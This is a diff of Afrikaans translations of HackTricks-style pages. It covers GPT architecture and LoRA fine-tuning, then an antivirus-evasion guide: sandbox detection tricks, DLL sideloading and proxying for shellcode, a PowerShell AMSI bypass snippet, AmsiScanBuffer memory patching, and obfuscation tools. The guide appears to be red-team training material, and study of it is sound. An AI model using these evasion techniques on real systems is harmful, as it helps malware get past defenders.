<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Invoer (Getokeniseerde Teks)**: Die proses begin met getokeniseerde teks, wat in numeriese voorstellings omgeskakel word.
2. **Token Inbed en Posisionele Inbed Laag**: Die getokeniseerde teks word deur 'n **token inbed** laag en 'n **posisionele inbed laag** gestuur, wat die posisie van tokens in 'n volgorde vasvang, krities vir die begrip van woordorde.
3. **Transformer Blokke**: Die model bevat **12 transformer blokke**, elk met verskeie lae. Hierdie blokke herhaal die volgende volgorde:
* **Gemaskerde Multi-Kop Aandag**: Laat die model toe om op verskillende dele van die invoerteks gelyktydig te fokus.
* **Laag Normalisering**: 'n Normalisering stap om opleiding te stabiliseer en te verbeter.
* **Voed Voor Laag**: Verantwoordelik vir die verwerking van die inligting van die aandaglaag en om voorspellings oor die volgende token te maak.
* **Voed Voor Laag**: Verantwoordelik vir die verwerking van die inligting van die aandag laag en om voorspellings oor die volgende token te maak.
* **Dropout Lae**: Hierdie lae voorkom oorpassing deur eenhede tydens opleiding lukraak te laat val.
4. **Finale Uitvoer Laag**: Die model gee 'n **4x50,257-dimensionele tensor** uit, waar **50,257** die grootte van die woordeskat verteenwoordig. Elke ry in hierdie tensor kom ooreen met 'n vektor wat die model gebruik om die volgende woord in die volgorde te voorspel.
5. **Doel**: Die doel is om hierdie inbedings te neem en dit terug in teks om te skakel. Spesifiek, die laaste ry van die uitvoer word gebruik om die volgende woord te genereer, wat as "vorentoe" in hierdie diagram verteenwoordig word.
4. **Finale Uitvoer Laag**: Die model gee 'n **4x50,257-dimensionele tensor** uit, waar **50,257** die grootte van die woordeskat verteenwoordig. Elke ry in hierdie tensor stem ooreen met 'n vektor wat die model gebruik om die volgende woord in die volgorde te voorspel.
5. **Doel**: Die doel is om hierdie inbedings te neem en dit terug in teks om te skakel. Spesifiek, die laaste ry van die uitvoer word gebruik om die volgende woord te genereer, wat in hierdie diagram as "vorentoe" verteenwoordig word.
### Kode voorstelling
```python
@ -212,13 +212,13 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
#### **Doel en Funksionaliteit**
* **GELU (Gaussian Error Linear Unit):** 'n Aktiveringsfunksie wat nie-lineariteit in die model inbring.
* **Glad Aktivering:** Anders as ReLU, wat negatiewe insette op nul stel, kaart GELU insette glad aan uitsette toe, wat klein, nie-nul waardes vir negatiewe insette toelaat.
* **Glad Aktivering:** Anders as ReLU, wat negatiewe insette op nul stel, kaart GELU insette glad na uitsette, wat klein, nie-nul waardes vir negatiewe insette toelaat.
* **Wiskundige Definisie:**
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Die doel van die gebruik van hierdie funksie na lineêre lae binne die FeedForward-laag is om die lineêre data te verander na nie-lineêr om die model in staat te stel om komplekse, nie-lineêre verhoudings te leer.
Die doel van die gebruik van hierdie funksie na lineêre lae binne die FeedForward-laag is om die lineêre data nie-lineêr te maak sodat die model komplekse, nie-lineêre verhoudings kan leer.
{% endhint %}
### **FeedForward Neurale Netwerk**
@ -245,7 +245,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Doel en Funksionaliteit**
* **Posisiegewys FeedForward Netwerk:** Pas 'n twee-laag ten volle verbind netwerk op elke posisie apart en identies toe.
* **Posisie-gewys FeedForward Netwerk:** Pas 'n twee-laag ten volle verbind netwerk op elke posisie apart en identies toe.
* **Laag Besonderhede:**
* **Eerste Lineêre Laag:** Brei die dimensie uit van `emb_dim` na `4 * emb_dim`.
* **GELU Aktivering:** Pas nie-lineariteit toe.
@ -269,10 +269,10 @@ Dit is reeds in 'n vroeëre afdeling verduidelik.
* **Maskering:** 'n Oorsaaklike masker word toegepas om te voorkom dat die model na toekomstige tokens aandag gee (belangrik vir outoregressiewe modelle soos GPT).
* **Aandag Gewigte:** Softmax van die gemaskeerde en geskaalde aandag punte.
* **Konteks Vektor:** Gewigte som van die waardes, volgens aandag gewigte.
* **Uitset Projekie:** Lineêre laag om die uitsette van al die koppe te kombineer.
* **Uitset Projektering:** Lineêre laag om die uitsette van al die koppe te kombineer.
{% hint style="info" %}
Die doel van hierdie netwerk is om die verhoudings tussen tokens in dieselfde konteks te vind. Boonop word die tokens in verskillende koppe verdeel om oorfitting te voorkom, alhoewel die finale verhoudings wat per kop gevind word, aan die einde van hierdie netwerk gekombineer word.
Die doel van hierdie netwerk is om die verhoudings tussen tokens in dieselfde konteks te vind. Boonop word die tokens in verskillende koppe verdeel om oorfitting te voorkom, alhoewel die finale verhoudings wat per kop gevind word aan die einde van hierdie netwerk gekombineer word.
Boonop, tydens opleiding, word 'n **oorsaaklike masker** toegepas sodat latere tokens nie in ag geneem word wanneer die spesifieke verhoudings met 'n token gekyk word nie en 'n **dropout** word ook toegepas om **oorfitting te voorkom**.
{% endhint %}
@ -298,7 +298,7 @@ return self.scale * norm_x + self.shift
* **Laag Normalisering:** 'n Tegniek wat gebruik word om die insette oor die kenmerke (embedding dimensies) vir elke individuele voorbeeld in 'n bondel te normaliseer.
* **Komponente:**
* **`eps`:** 'n Klein konstante (`1e-5`) wat by die variansie gevoeg word om deling deur nul tydens normalisering te voorkom.
* **`scale` en `shift`:** Leerbare parameters (`nn.Parameter`) wat die model toelaat om die genormaliseerde uitset te skaal en te verskuif. Hulle word onderskeidelik geinitialiseer na een en nul.
* **`scale` en `shift`:** Leerbare parameters (`nn.Parameter`) wat die model toelaat om die genormaliseerde uitset te skaal en te verskuif. Hulle word onderskeidelik geinitialiseer na eenhede en nul.
* **Normalisering Proses:**
* **Bereken Gemiddelde (`mean`):** Bereken die gemiddelde van die inset `x` oor die embedding dimensie (`dim=-1`), terwyl die dimensie vir broadcasting behou word (`keepdim=True`).
* **Bereken Variansie (`var`):** Bereken die variansie van `x` oor die embedding dimensie, terwyl die dimensie ook behou word. Die `unbiased=False` parameter verseker dat die variansie bereken word met die bevooroordeelde skatter (deling deur `N` in plaas van `N-1`), wat toepaslik is wanneer daar oor kenmerke eerder as monsters genormaliseer word.
@ -311,7 +311,7 @@ Die doel is om 'n gemiddelde van 0 met 'n variansie van 1 oor alle dimensies van
### **Transformer Blok**
_Vorms is as kommentaar bygevoeg om beter te verstaan hoe die vorms van matrikse lyk:_
_Vorms is as kommentaar bygevoeg om die vorms van matrikse beter te verstaan:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
@ -353,8 +353,8 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Doel en Funksionaliteit**
* **Samestelling van Lae:** Kombineer multi-head attention, feedforward netwerk, laanormalisering, en residuele verbindings.
* **Laanormalisering:** Toegepas voor die aandag en feedforward lae vir stabiele opleiding.
* **Samestelling van Lae:** Kombineer multi-head attention, feedforward netwerk, laag normalisering, en residuele verbindings.
* **Laag Normalisering:** Toegepas voor die aandag en feedforward lae vir stabiele opleiding.
* **Residuele Verbindings (Kortpaaie):** Voeg die invoer van 'n laag by sy uitvoer om die gradiëntvloei te verbeter en die opleiding van diep netwerke moontlik te maak.
* **Dropout:** Toegepas na aandag en feedforward lae vir regulering.
@ -375,7 +375,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
{% hint style="info" %}
Die transformer blok groepeer al die netwerke saam en pas 'n paar **normalisering** en **dropouts** toe om die opleidingsstabiliteit en resultate te verbeter.\
Let op hoe dropouts gedoen word na die gebruik van elke netwerk terwyl normalisering voor toegepas word.
Let op hoe dropouts gedoen word na die gebruik van elke netwerk terwyl normalisering voorheen toegepas word.
Boonop gebruik dit ook kortpaaie wat bestaan uit **die uitvoer van 'n netwerk by sy invoer te voeg**. Dit help om die verdwynende gradiënt probleem te voorkom deur te verseker dat aanvanklike lae "net soveel" bydra as die laaste.
{% endhint %}
@ -439,18 +439,18 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **Doel en Funksionaliteit**
* **Inbedingslae:**
* **Token Inbedings (`tok_emb`):** Converteer token-indekse na inbedings. Ter herinnering, dit is die gewigte wat aan elke dimensie van elke token in die woordeskat gegee word.
* **Inbedlaagte:**
* **Token Inbedings (`tok_emb`):** Converteer token-indekse in inbedings. Ter herinnering, dit is die gewigte wat aan elke dimensie van elke token in die woordeskat gegee word.
* **Posisionele Inbedings (`pos_emb`):** Voeg posisionele inligting by die inbedings om die volgorde van tokens vas te vang. Ter herinnering, dit is die gewigte wat aan tokens gegee word volgens hul posisie in die teks.
* **Dropout (`drop_emb`):** Toegepas op inbedings vir regularisering.
* **Transformer Blokke (`trf_blocks`):** Stapel van `n_layers` transformer blokke om inbedings te verwerk.
* **Finale Normalisering (`final_norm`):** Laag normalisering voor die uitvoerlaag.
* **Uitvoerlaag (`out_head`):** Projek die finale verborge toestande na die woordeskatgrootte om logits vir voorspelling te produseer.
* **Uitvoerlaag (`out_head`):** Projek die finale versteekte toestande na die woordeskatgrootte om logits vir voorspelling te produseer.
{% hint style="info" %}
Die doel van hierdie klas is om al die ander genoemde netwerke te **voorspel die volgende token in 'n reeks**, wat fundamenteel is vir take soos teksgenerasie.
Die doel van hierdie klas is om al die ander genoemde netwerke te gebruik om **die volgende token in 'n reeks te voorspel**, wat fundamenteel is vir take soos teksgenerasie.
Let op hoe dit **soveel transformer blokke as aangedui** sal **gebruik** en dat elke transformer blok een multi-head attestasienet, een feed forward-net en verskeie normaliserings gebruik. So as 12 transformer blokke gebruik word, vermenigvuldig dit met 12.
Let op hoe dit **soveel transformer blokke as aangedui** sal **gebruik** en dat elke transformer blok een multi-head aanduidingsnet, een feed forward net en verskeie normaliserings gebruik. So as 12 transformer blokke gebruik word, vermenigvuldig dit met 12.
Boonop word 'n **normalisering** laag **voor** die **uitvoer** bygevoeg en 'n finale lineêre laag word aan die einde toegepas om die resultate met die regte dimensies te verkry. Let op hoe elke finale vektor die grootte van die gebruikte woordeskat het. Dit is omdat dit probeer om 'n waarskynlikheid per moontlike token binne die woordeskat te kry.
{% endhint %}
@ -563,7 +563,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
* **Berekenings:**
```python
pythonCopy codelayer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Totale Parameters per Transformer Blok**
@ -580,7 +580,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
**a. Finale Lae Normalisering**
* **Parameters:** `2 * emb_dim` (skaal en verskui)
* **Parameters:** `2 * emb_dim` (skaal en skuif)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```

View file

@ -3,18 +3,18 @@
## LoRA Verbeterings
{% hint style="success" %}
Die gebruik van **LoRA verminder baie die berekening** wat nodig is om **fyn af te stem** reeds getrainde modelle.
Die gebruik van **LoRA verminder baie die berekening** wat nodig is om **fyn af te stem** reeds opgelei modelle.
{% endhint %}
LoRA maak dit moontlik om **groot modelle** doeltreffend fyn af te stem deur slegs 'n **klein deel** van die model te verander. Dit verminder die aantal parameters wat jy moet oplei, wat **geheue** en **berekeningshulpbronne** bespaar. Dit is omdat:
1. **Verminder die Aantal Opleibare Parameters**: In plaas daarvan om die hele gewigsmatris in die model op te dateer, **verdeel** LoRA die gewigsmatris in twee kleiner matrise (genoem **A** en **B**). Dit maak opleiding **vinniger** en vereis **minder geheue** omdat minder parameters opgedateer moet word.
1. **Verminder die Aantal Opleibare Parameters**: In plaas daarvan om die hele gewigsmatris in die model op te dateer, **verdeel** LoRA die gewigsmatris in twee kleiner matrise (genoem **A** en **B**). Dit maak opleiding **vinniger** en vereis **minder geheue** omdat minder parameters opdateer moet word.
1. Dit is omdat dit in plaas daarvan om die volledige gewigsopdatering van 'n laag (matris) te bereken, dit benader na 'n produk van 2 kleiner matrise wat die opdatering verminder om te bereken:\
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Hou Oorspronklike Model Gewigte Onveranderd**: LoRA laat jou toe om die oorspronklike model gewigte dieselfde te hou, en slegs die **nuwe klein matrise** (A en B) op te dateer. Dit is nuttig omdat dit beteken dat die model se oorspronklike kennis bewaar word, en jy net wat nodig is, aanpas.
3. **Doeltreffende Taakspesifieke Fyn-afstemming**: Wanneer jy die model wil aanpas vir 'n **nuwe taak**, kan jy net die **klein LoRA matrise** (A en B) oplei terwyl jy die res van die model soos dit is laat. Dit is **baie meer doeltreffend** as om die hele model weer op te lei.
3. **Doeltreffende Taakspesifieke Fyn-afstemming**: Wanneer jy die model wil aanpas vir 'n **nuwe taak**, kan jy net die **klein LoRA matrise** (A en B) oplei terwyl jy die res van die model soos dit is laat. Dit is **baie doeltreffender** as om die hele model weer op te lei.
4. **Bergingseffektiwiteit**: Na fyn-afstemming, in plaas daarvan om 'n **heel nuwe model** vir elke taak te stoor, hoef jy slegs die **LoRA matrise** te stoor, wat baie klein is in vergelyking met die hele model. Dit maak dit makliker om die model aan te pas vir baie take sonder om te veel berging te gebruik.
Ten einde LoraLayers in plaas van Linear eenhede tydens 'n fyn-afstemming te implementeer, word hierdie kode hier voorgestel [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):

View file

@ -1,8 +1,8 @@
# Antivirus (AV) Bypass
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,29 +15,29 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
**Hierdie bladsy is geskryf deur** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
## **AV Ontwyk Metodologie**
## **AV Evasie Metodologie**
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
### **Statiese opsporing**
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappy naam, digitale handtekeninge, ikoon, checksum, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, kontrole som, ens.). Dit beteken dat die gebruik van bekende openbare gereedskap jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te omseil:
* **Koding**
* **Enkripsie**
As jy die binêre kodeer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te ontsleutel en te laat loop.
As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te opspoor nie, maar jy sal 'n soort laaier nodig hê om die program in geheue te dekripteer en uit te voer.
* **Obfuskasie**
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk.
* **Pasgemaakte gereedskap**
@ -47,14 +47,14 @@ As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge w
'n Goeie manier om teen Windows Defender se statiese opsporing te kontroleer, is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in verskeie segmente en vra dan Defender om elkeen individueel te skandeer, sodat dit jou presies kan sê wat die gemerkte stringe of byte in jou binêre is.
{% endhint %}
Ek beveel sterk aan dat jy hierdie [YouTube speellys](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Ontwyking kyk.
Ek beveel sterk aan dat jy hierdie [YouTube-speellys](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV Evasie kyk.
### **Dinamiese analise**
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox laat loop en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskode se wagwoorde te ontsleutel en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te ontwyk.
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox uitvoer en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te omseil.
* **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
* **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien stadiger maak. Jy kan ook baie kreatief wees hier, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
* **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien vertraag. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
* **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
Dit blyk dat Microsoft Defender se Sandbox rekenaarnaam HAL9TH is, so jy kan die rekenaarnaam in jou malware kontroleer voor detonering, as die naam ooreenstem met HAL9TH, beteken dit jy is binne Defender se sandbox, so jy kan jou program laat verlaat.
@ -65,19 +65,19 @@ Sommige ander regtig goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) o
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanaal</p></figcaption></figure>
Soos ons voorheen in hierdie pos gesê het, **publieke gereedskap** sal uiteindelik **opgespoor word**, so jy moet jouself iets vra:
Soos ons voorheen in hierdie pos gesê het, **openbare gereedskap** sal uiteindelik **opgespoor word**, so jy moet jouself iets vra:
Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, so kyk net vir alternatiewe vir wat jy probeer bereik.
{% hint style="info" %}
Wanneer jy jou payloads vir ontwyking aanpas, maak seker om **outomatiese monster indiening** in Defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om ontwyking op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in Defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
{% endhint %}
## EXEs vs DLLs
Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir ontwyking**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir evasie**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
@ -104,7 +104,7 @@ Hierdie opdrag sal die lys van programme wat vatbaar is vir DLL-hijacking binne
Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programme self verken**, hierdie tegniek is redelik stil as dit reg gedoen word, maar as jy publiek bekende DLL Sideloadable programme gebruik, kan jy maklik gevang word.
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal nie jou payload laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag, om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal jou payload nie laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
**DLL Proxying** stuur die oproepe wat 'n program maak van die proxy (en kwaadwillige) DLL na die oorspronklike DLL, wat die program se funksionaliteit behou en in staat is om die uitvoering van jou payload te hanteer.
@ -140,7 +140,7 @@ Beide ons shellcode (gecodeer met [SGN](https://github.com/EgeBalci/sgn)) en die
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t se twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec se video](https://www.youtube.com/watch?v=3eROsG\_WNpE) om meer te leer oor wat ons in meer detail bespreek het.
Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t se twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec se video](https://www.youtube.com/watch?v=3eROsG\_WNpE) om meer te leer oor wat ons in diepte bespreek het.
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
@ -167,7 +167,7 @@ AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_ma
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
* Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
* PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering)
* PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluasie)
* Windows Script Host (wscript.exe en cscript.exe)
* JavaScript en VBScript
* Office VBA makros
@ -188,7 +188,7 @@ Daar is 'n paar maniere om rondom AMSI te kom:
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal goed wees, so dit hang af van hoe veel iets gemerk is.
Echter, AMSI het die vermoë om skripte te ontbloem selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlikes se name te verander en jy sal reg wees, so dit hang af van hoe veel iets gemerk is.
* **AMSI Ontwyking**
@ -220,11 +220,11 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos uitkom, so jy moet nie enige kode publiseer as jou plan is om onopgemerk te bly nie.
Hou in gedagte dat dit waarskynlik gemeld sal word sodra hierdie pos verskyn, so jy moet nie enige kode publiseer as jou plan is om onopgemerk te bly nie.
**Geheue Patching**
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/\_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E\_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal teruggee, wat as 'n skoon resultaat geïnterpreteer word.
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/\_RastaMouse/) en dit behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-geleverde invoer) en dit oorskryf met instruksies om die kode vir E\_INVALIDARG terug te gee, sodat die resultaat van die werklike skandering 0 sal wees, wat as 'n skoon resultaat geïnterpreteer word.
{% hint style="info" %}
Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
@ -234,17 +234,17 @@ Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omsei
Of hierdie skrip wat via geheue patching elke nuwe Powersh sal patch.
## Obfuskaasie
## Obfuscation
Daar is verskeie gereedskap wat gebruik kan word om **C# duidelike tekskode te obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre te obfuskeer** soos:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskeerder**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskaasie](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) en tamper-proofing.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
* [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word, wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
